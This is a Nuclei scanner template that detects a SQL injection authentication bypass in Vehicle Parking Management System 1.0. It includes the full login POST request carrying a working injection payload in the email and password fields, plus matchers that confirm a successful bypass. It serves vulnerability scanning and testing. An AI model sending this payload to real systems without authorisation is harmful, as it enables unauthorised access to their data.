nuclei-templates/http/vulnerabilities/other/vpms-auth-bypass.yaml

43 lines
1.5 KiB
YAML

id: vpms-auth-bypass
info:
name: Vehicle Parking Management System 1.0 - SQL Injection
author: dwisiswant0
severity: critical
description: Vehicle Parking Management System 1.0 contains a SQL injection vulnerability via the password parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
reference:
- https://www.exploit-db.com/exploits/48877
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-89
metadata:
max-request: 1
tags: auth-bypass,edb,sqli
http:
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}/login.php
Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
email=%27%3D%27%27or%27%40email.com&password=%27%3D%27%27or%27&btn_login=1
matchers-condition: and
matchers:
- type: word
words:
- "LAGOS PARKER"
- "Login Successfully"
- "location.href = 'index.php';"
condition: and
part: body
- type: status
status:
- 200
# digest: 4b0a00483046022100f82ddc5a01977a44bb639109995ff391ce08ea64197bfae96d5c2b914129339b022100ff8a22e40d42c21571b0a2704e220cb90d0d9bad4780e957d15135df6a5a9c22:922c64590222798bb761d5b6d8e72950